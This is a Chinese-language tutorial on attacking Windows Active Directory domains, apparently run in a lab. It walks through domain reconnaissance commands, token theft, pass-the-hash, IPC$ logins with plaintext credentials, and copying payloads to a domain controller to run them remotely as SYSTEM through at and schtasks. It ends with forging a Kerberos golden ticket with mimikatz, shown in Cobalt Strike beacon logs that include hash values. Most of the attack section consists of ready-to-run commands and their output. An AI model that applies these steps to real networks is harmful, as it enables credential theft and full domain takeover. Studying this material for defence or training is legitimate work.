域渗透常规方法和思路
- 1、域内信息收集
- 1.1、获取当前用户信息
- 1.1.1、获取当前用户与域 SID
- 1.1.2、查询指定用户的详细信息
- 1.2、判断是否存在域
- 1.2、查询域内所有计算机
- 1.3、查询域内所有用户组列表
- 1.4、查询所有域成员计算机列表
- 1.5、获取域密码信息
- 1.6、获取域信任信息
- 1.7、查找域控制器
- 1.7.1、判断用户是否在域
- 1.7.2、查看域控制器的机器名
- 1.7.3、查看域控制的主机名
- 1.7.4、查看域控 IP
- 1.7.5、查看域控制的主机名
- 1.7.6、查看域控制器组
- 1.8、查询当前域内存活主机
- 2、判断本地管理员
- 3、运行 Mimikatz读取密码
- 4、登录认证
- 4.1、Access Token 登录令牌
- 4.2、散列认证
- 4.3、IPC 连接
- 4.4、黄金票据(Golden Ticket)
1、域内信息收集
1.1、获取当前用户信息
1.1.1、获取当前用户与域 SID
whoami /all
1.1.2、查询指定用户的详细信息
# 查询本地用户详细信息
net user user01
# 查询域用户详细信息
net user tester01 /domain
1.2、判断是否存在域
ipconfig /all
systeminfo
net view /domain
- 若是此命令在显示域处显示 WORKGROUP,则不存在域;
- 若是报错:发生系统错误 5,则存在域,但该用户不是域用户
net config workstation
net localgroup administrators
查看本机管理员(通常会包含有域用户)
1.2、查询域内所有计算机
net view /domain:xxx
1.3、查询域内所有用户组列表
net group /domain
1.4、查询所有域成员计算机列表
net group "domain computers" /domain
1.5、获取域密码信息
可以获取域密码策略设置、长短、错误锁定等信息
net accounts /domain
1.6、获取域信任信息
nltest /domain_trusts
1.7、查找域控制器
1.7.1、判断用户是否在域
net time /domain
域存在且用户在域内
存在域,当前用户不是域用户
当前网络环境为工作组,不存在域
1.7.2、查看域控制器的机器名
nltest /dclist:god
1.7.3、查看域控制的主机名
nslookup -type=SRV _ldap._tcp
1.7.4、查看域控 IP
ping DC.test.lab
nslookup dc
判断域控制器和DNS 服务器是否在同一服务器上
nslookup test.lab
1.7.5、查看域控制的主机名
nslookup -type=SRV _ldap._tcp
1.7.6、查看域控制器组
net group "domain controllers" /domain
实际网络中,一个域内一般存在两台或两台以上的域控制器,作为主备。
netdom query pdc
netdom不是系统自带工具,需要下载安装
1.8、查询当前域内存活主机
利用 windows 内置命令收集
net group "domain computers" /domain
利用NetBIOS 探测内网
nbtscan 192.168.52.0/24
2、判断本地管理员
net localgroup "administrators"
3、运行 Mimikatz读取密码
4、登录认证
4.1、Access Token 登录令牌
Access Token : 保存了当前用户的权限信息,每个进程可能使用不同用户的身份启动,有不同的Access Token。如果我们想以域用户的身份做操作,这个时候就可以获得本地域用户身份的进程,然后进行token窃取。
以下是令牌窃取的过程:
- 使用 ps 列出进程
- 使用 steal_token [pid] 窃取令牌
- 使用 getuid 找到你是谁
- 使用 rev2self移除令牌
方法1:偷取token
到进程中偷取token:
右键要横向的主机,选择psexec64:
选择一个已经获得的凭据或者勾选使用当前令牌,并选择监听器与会话即可:
当密码输入错误时,执行上面的两个命令就会提示 登录失败: 未知的用户名或错误密码。 同样的使用 rev2self 可除去当前令牌,恢复原来的SYSTEM 权限
方法2:制作token
查看当前用户身份信息是否本地域用户,如不是则需要获取本地域用户的进程:
steal_token 2116
使用命令make_token domain\user password伪造一个token:
查看一下当前会话 uid
访问dc的默认共享:
4.2、散列认证
- mimikatz 使用登录令牌开启了一个进程,在单点登录信息那里填入我们提供的用户名称、域、密码哈希值
- cobalt strike自动的从那个进程中窃取令牌并关闭
复制ntm哈希
pth 命令获取信任
pth GOD\Administrator f76d5be6348a96263e8bcb0f49552fbb
最后使用命令移除当前窃取的令牌
rev2self
4.3、IPC 连接
IPC ( Internet Process Connection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
通过 ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
-
利用条件:
- 开启了139、445端口;
- 管理员开启了默认共享;
-
连接失败原因:
- 用户名密码错误。
- 目标没有打开ipc$默认共享。
- 不能成功连接目标的139、445端口
- 命令输入错误。
建立一个ipc$
前提需要获取到账号密码,需要使用logonpasswords
读取
shell net use \\192.168.52.138\ipc$ "xiaoc@123" /user:administrator
在使用net use 命令与远程目标机器建立ipc$后,可以使用dir 命令列出远程主机中的文件。
shell dir \\192.168.52.138\c$
在使用net use 命令与远程目标机器建立ipc$后,可以未使用tasklist命令的/S参数列出远程主机上运行的进程。
使用net time命令确定远程机器当前的系统时间。
shell tasklist /S 192.168.52.138
添加计划任务
at是Windows自带的用于创建计时任务的命令,它主要工作在Windows Server 2008
之前版本的操作系统中。使用at命令在远程目标机器上创建计划任务的流程大致如下 因为当前域控服务器使用的是server2008
复制远程文件到目标服务器上(域控服务器,假设可以出网)
shell copy C:\Users\Administrator\Desktop\testartifact_x86.exe \\192.168.52.138\c$
使用at命令添加定时执行payload文件
shell at \\192.168.52.138 9:22:00 c:\testartifact_x86.exe
执行成功
删除使用at 命令创建计划任务的记录。
shell at \\10.1.1.2 2 /del
Windows Vista、Windows Server 2008 及之后版本的操作系统已经将at命令废弃了。于是,攻击者开始使用schtasks命令代替at命令。schtasks命令比 at命令更为灵活、自由。
shell schtasks /create /s 10.1.1.2 /tn test /sc onstart /tr c:\test_msf_local.exe /ru system /f
这条命令的解释是在IP 为10.1.1.2主机上创建一个开启自启动的定时任务,定时任务名称为test,以system 的权限执test_msf_local.exe。若定时任务存在,则发出警告。如果未与目标主机建立IPC连接,需要输入用户名和密码的参数,在末尾追加:/u administrator /p “密码”。
在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt。如果执行schtasks命令后没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。
删除任务
schtasks /delete /s 10.1.1.2 /tn "test" /f
删除ipc$连接
-
net use \\目标ip /del /y
-
在使用schtasks命令时,会在系统中留下日志文件
C:\Windows\Tasks\SchedLgU.txt
。如果执行schtasks命令后没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。
4.4、黄金票据(Golden Ticket)
获取用户名、域名、域的SID值
# 获取当前域
[07/10 10:43:39] beacon> shell net view /domain
[07/10 10:43:39] [*] Tasked beacon to run: net view /domain
[07/10 10:43:40] [+] host called home, sent: 47 bytes
[07/10 10:43:53] [+] received output:
Domain
-------------------------------------------------------------------------------
GOD
命令成功完成。
# 获取域内用户
[07/10 10:44:17] beacon> shell net view /domain:god
[07/10 10:44:17] [*] Tasked beacon to run: net view /domain:god
[07/10 10:44:17] [+] host called home, sent: 51 bytes
[07/10 10:44:43] [+] received output:
服务器名称 注解
-------------------------------------------------------------------------------
\\OWA
\\ROOT-TVI862UBEH
命令成功完成。
[07/10 10:45:02] beacon> shell whoami /user
[07/10 10:45:02] [*] Tasked beacon to run: whoami /user
[07/10 10:45:02] [+] host called home, sent: 43 bytes
[07/10 10:45:02] [+] received output:
用户信息
----------------
用户名 SID
================= =============================================
god\administrator S-1-5-21-2952760202-1353902439-2381784089-500
#域的 SID 值即安全标识符 Security Identifiers,使用 whoami /user 命令可查看,注意不需要 SID 最后的一组数字
#SID 就是S-1-5-21-2952760202-1353902439-2381784089
获取DC 中 KRBTGT 用户的 NTLM 哈希
DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得,也可以使用powershell加载mimikatz获取
OWA\krbtgt 58e91a5ac358d86513ab224312314061
右击会话,生成黄金票据
注意: Domain 需要填写成 FQDN 格式,即完全合格域名 Fully Qualified Domain Name ,也就是类似于
teamssix.com 的格式
[07/10 10:57:38] beacon> mimikatz kerberos::golden /user:administrator /domain:god.cm /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /endin:480 /renewmax:10080 /ptt
[07/10 10:57:38] [*] Tasked beacon to run mimikatz's kerberos::golden /user:administrator /domain:god.cm /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /endin:480 /renewmax:10080 /ptt command
[07/10 10:57:38] [+] host called home, sent: 313667 bytes
[07/10 10:57:40] [+] received output:
User : administrator
Domain : god.cm (GOD)
SID : S-1-5-21-2952760202-1353902439-2381784089
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 58e91a5ac358d86513ab224312314061 - rc4_hmac_nt
Lifetime : 2024/7/10 10:57:38 ; 2024/7/10 18:57:38 ; 2024/7/17 10:57:38
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'administrator @ god.cm' successfully submitted for current session
建立好黄金票据之后内可以使用命令判断当前权限(票据存在生存时间过期失效)
shell dir \\DC\C$